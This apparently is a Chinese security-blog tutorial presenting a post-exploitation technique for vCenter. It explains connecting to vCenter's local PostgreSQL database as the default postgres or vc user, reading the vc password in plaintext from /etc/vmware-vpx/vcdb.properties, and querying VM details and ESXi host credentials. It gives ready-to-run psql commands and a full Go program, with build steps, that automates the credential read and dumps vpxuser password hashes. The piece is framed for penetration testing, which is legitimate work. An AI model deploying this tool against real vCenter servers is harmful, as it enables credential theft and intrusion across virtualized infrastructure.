0x00 前言
在之前的三篇文章《vSphere开发指南1——vSphere Automation API》、《vSphere开发指南2——vSphere Web Services API》和《vSphere开发指南3——VMware PowerCLI》介绍了同虚拟机交互的方法,能够远程导出虚拟机的配置信息,本文将要介绍在vCenter上通过PostgreSQL数据库导出虚拟机配置信息的方法。
0x01 简介
本文将要介绍以下内容:
◼导出方法
◼程序实现
0x02 导出方法
vCenter默认安装了PostgreSQL数据库,用来存储VM和ESXI的信息
在之前的文章《Confluence利用指南》提到过:
PostgreSQL安装完成后会在本地操作系统创建一个名为postgres的用户,默认没有口令
如果没有设置用户postgres的口令,可以通过以下命令连接PostgreSQL数据库:
psql -h localhost -U postgres
执行结果如下图
默认用户列表如下图
如果设置了用户postgres的口令并且无法获得,可以选择用户vc进行操作,连接PostgreSQL数据库的命令如下:
psql -h localhost -d VCDB -U vc
执行结果如下图
用户vc的明文口令存储在固定文件/etc/vmware-vpx/vcdb.properties中
注:
psql不支持直接传入口令作为参数,需要交互的环境进行操作
连接至PostgreSQL数据库后,查询虚拟机配置信息的命令如下:
SELECT * FROM vc.vpx_vm;
连接至PostgreSQL数据库后,查询ESXI配置信息的命令如下:
SELECT * FROM vc.vpx_host;
为了便于使用,连接PostgreSQL数据库和查询命令可以进行合并,这里分享以下两个命令示例:
(1)使用用户postgres查询虚拟机配置信息
psql -h localhost -U postgres -c "SELECT file_name,guest_os,ip_address FROM vc.vpx_vm;" -d VCDB
(2)使用用户vc查询ESXI配置信息
psql -h localhost -U vc -c "SELECT name,username,password,password_last_upd_dt FROM vc.vpxv_hosts;" -d VCDB -W
注:
psql不支持直接传入口令作为参数,如果用户设置了口令,需要交互的环境下再次输入连接口令
0x03 程序实现
由于psql不支持直接传入口令作为参数,这里可以考虑编写程序实现数据库连接和查询配置
综合考虑适用性和方便性,这里开发语言选择Golang
支持PostgreSQL的第三方包选择https://github.com/bmizerany/pq
1、安装第三方包
命令如下:
go get github.com/lib/pq
2.编写代码
通过go get github.com/lib/pq安装的第三方包在vCenter下使用会存在bug,连接数据库时提示setting PGSERVICEFILE not supported
这是因为vCenter环境下默认设置了环境变量$PGSERVICEFILE,而通过go get github.com/lib/pq安装的第三方包默认引用了这个变量,这就导致了错误
错误代码的位置:%GOPATH%\src\github.com\lib\pq\conn.go,Line1988-1989,如下图
而github上的代码已经修复了这个bug,代码地址:https://github.com/bmizerany/pq/blob/master/conn.go#L644
如下图
所以这里我们只需要注释掉%GOPATH%\src\github.com\lib\pq\conn.go的第1988和第1989行代码即可,如下图
在代码实现上,首先读取文件/etc/vmware-vpx/vcdb.properties获得用户vc的明文口令,使用用户vc连接PostgreSQL数据库,最后导出虚拟机配置信息
完整实现代码如下:
package main import ( "database/sql" "fmt" "strings" "io/ioutil" _ "github.com/lib/pq" ) func connectDB() *sql.DB{ fmt.Println("[+] Get the config") b, err := ioutil.ReadFile("/etc/vmware-vpx/vcdb.properties") if err != nil { fmt.Print(err) } str := string(b) fmt.Println(str) index1 := strings.Index(str,"password") index2 := strings.Index(str,"password.encrypted") password := b[index1+11:index2] var host = "localhost" var port int = 5432 var user = "vc" var dbname = "VCDB" psqlInfo := fmt.Sprintf("host=%s port=%d user=%s "+ "password=%s dbname=%s sslmode=disable", host, port, user, password, dbname) fmt.Println("[*] psqlInfo:" + psqlInfo) db, err := sql.Open("postgres", psqlInfo) if err != nil { panic(err) } err = db.Ping() if err != nil { panic(err) } fmt.Println("[+] Successfully connected!") return db } func queryVM(db *sql.DB){ var file_name,guest_os,ip_address,power_state string fmt.Println("[*] Querying VM") rows,err:=db.Query("SELECT file_name,guest_os,ip_address,power_state FROM vc.vpx_vm") if err!= nil{ panic(err) } defer rows.Close() for rows.Next(){ err:= rows.Scan(&file_name,&guest_os,&ip_address,&power_state) if err!= nil{ //fmt.Println(err) } fmt.Println(" - file_name : " + file_name) fmt.Println(" guest_os : " + guest_os) fmt.Println(" ip_address : " + ip_address) fmt.Println(" power_state : " + power_state) } err = rows.Err() if err!= nil{ panic(err) } } func queryESXI(db *sql.DB){ var name,username,password,password_last_upd_dt string fmt.Println("[*] Querying ESXI") rows,err:=db.Query("SELECT name,username,password,password_last_upd_dt FROM vc.vpxv_hosts") if err!= nil{ panic(err) } defer rows.Close() for rows.Next(){ err:= rows.Scan(&name,&username,&password,&password_last_upd_dt) if err!= nil{ //fmt.Println(err) } fmt.Println(" - name : " + name) fmt.Println(" username : " + username) fmt.Println(" password : " + password) fmt.Println(" password_last: " + password_last_upd_dt) } err = rows.Err() if err!= nil{ panic(err) } } func main() { db:=connectDB() queryVM(db) queryESXI(db) }
3.跨平台编译
将以上代码保存为main.go
编译成Linux版本的命令如下:
SET CGO_ENABLED=0 SET GOOS=linux SET GOARCH=amd64 go build -o vCenter_Query_PostgreSQL
4.测试
在vCenter上执行vCenter_Query_PostgreSQL,能够自动导出虚拟机和ESXI的配置信息
补充:
执行命令SELECT name,username,password,password_last_upd_dt FROM vc.vpxv_hosts;能够导出vpxuser用户的加密口令
当ESXI主机连接vCenter时,ESXI主机会创建一个root权限的用户vpxuser
默认情况下,vCenter Server使用OpenSSL密码库作为随机来源,每30天生成一个新的vpxuser密码,密码长度为32个字符
0x04 小结
本文介绍了在vCenter上通过PostgreSQL数据库导出虚拟机配置信息的方法,在渗透测试中,是极其重要的一环。
如若转载,请注明原文地址